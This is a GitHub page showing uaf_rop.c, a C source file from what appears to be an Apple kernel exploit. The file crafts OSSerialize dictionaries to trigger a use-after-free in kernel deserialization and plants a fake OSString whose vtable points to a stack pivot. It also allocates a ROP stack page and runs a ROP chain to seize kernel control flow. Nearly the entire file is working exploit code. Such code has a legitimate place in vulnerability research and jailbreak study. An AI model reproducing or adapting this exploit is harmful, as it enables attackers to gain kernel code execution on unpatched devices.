-
Notifications
You must be signed in to change notification settings - Fork 40
Expand file tree
/
Copy pathuaf_rop.c
More file actions
152 lines (133 loc) · 6.34 KB
/
Copy pathuaf_rop.c
File metadata and controls
152 lines (133 loc) · 6.34 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
#include <stdint.h> // uint32_t
#include <unistd.h> // usleep
#include <mach/kern_return.h> // kern_return_t, KERN_SUCCESS
#include <mach/mach_error.h> // mach_error_string
#include <mach/mach_init.h>
#include <mach/vm_map.h>
#include "common.h" // DEBUG, PRINT_BUF, file_t
#include "io.h" // kOS*, OSString, dict_parse
#include "offsets.h" // use_new_payload
#include "rop.h" // get_stack_pivot
#include "slide.h" // get_kernel_slide
#include "uaf_rop.h"
void uaf_parse(const OSString *fake)
{
DEBUG("Using UAF to gain PC control...");
const uint32_t *data = (const uint32_t*)fake;
PRINT_BUF("Data", data, sizeof(OSString));
const char str[] = "str",
ref[] = "ref";
if(use_new_payload())
{
uint32_t dict_92[] =
{
kOSSerializeMagic, // Magic
kOSSerializeEndCollection | kOSSerializeDictionary | 4, // Dictionary with 4 entries
kOSSerializeString | 4, // String that will get freed
*((uint32_t*)str),
kOSSerializeData | sizeof(OSString), // OSData with same size as OSString
#ifdef __LP64__
data[0], // vtable pointer (lower half)
data[1], // vtable pointer (upper half)
data[2], // retainCount
data[3], // flags
data[4], // length
data[5], // (padding)
data[6], // string pointer (lower half)
data[7], // string pointer (upper half)
#else
data[0], // vtable pointer
data[1], // retainCount
data[2], // flags
data[3], // length
data[4], // string pointer
#endif
kOSSerializeSymbol | 4, // Whatever name for our reference
*((uint32_t*)ref),
kOSSerializeEndCollection | kOSSerializeObject | 1, // Reference to object 1 (OSString)
};
PRINT_BUF("dict_92", dict_92, sizeof(dict_92));
dict_parse(dict_92, sizeof(dict_92));
}
else
{
uint32_t dict_90[] =
{
kOSSerializeMagic, // Magic
kOSSerializeEndCollection | kOSSerializeDictionary | 4, // Dictionary with 4 entries
kOSSerializeSymbol | 4, // Just a name
*((uint32_t*)str),
kOSSerializeString | 4, // String that will get freed
*((uint32_t*)str),
kOSSerializeObject | 1, // Same name
kOSSerializeBoolean | 1, // Lightweight value
kOSSerializeObject | 1, // Same name again
kOSSerializeData | sizeof(OSString), // OSData with same size as OSString
#ifdef __LP64__
data[0], // vtable pointer (lower half)
data[1], // vtable pointer (upper half)
data[2], // retainCount
data[3], // flags
data[4], // length
data[5], // (padding)
data[6], // string pointer (lower half)
data[7], // string pointer (upper half)
#else
data[0], // vtable pointer
data[1], // retainCount
data[2], // flags
data[3], // length
data[4], // string pointer
#endif
kOSSerializeSymbol | 4, // Whatever name for our reference
*((uint32_t*)ref),
kOSSerializeEndCollection | kOSSerializeObject | 2, // Reference to object 1 (OSString)
};
PRINT_BUF("dict_90", dict_90, sizeof(dict_90));
dict_parse(dict_90, sizeof(dict_90));
}
}
// Don't risk deallocating this once we acquire it
addr_t* uaf_rop_stack(void)
{
static addr_t *ptr = NULL;
if(ptr == NULL)
{
kern_return_t ret;
vm_size_t page_size = 0;
host_page_size(mach_host_self(), &page_size);
DEBUG("Page size: " SIZE, (size_t)page_size);
vm_address_t addr = kOSSerializeObject; // dark magic
DEBUG("Allocating ROP stack page at " ADDR, (addr_t)addr);
ret = vm_allocate(mach_task_self(), &addr, page_size, 0);
if(ret != KERN_SUCCESS)
{
THROW("Failed to allocate page at " ADDR " (%s)", (addr_t)addr, mach_error_string(ret));
}
DEBUG("Allocated ROP page at " ADDR, (addr_t)addr);
ptr = (addr_t*)addr;
}
return ptr;
}
void uaf_rop(void)
{
DEBUG("Executing ROP chain...");
usleep(10000); // In case we panic...
addr_t vtab[] =
{
0x0,
0x0,
0x0,
0x0,
get_stack_pivot(),
};
OSString osstr =
{
.vtab = (vtab_t)vtab,
.retainCount = 100,
.flags = kOSStringNoCopy,
.length = 0,
.string = NULL,
};
uaf_parse(&osstr);
}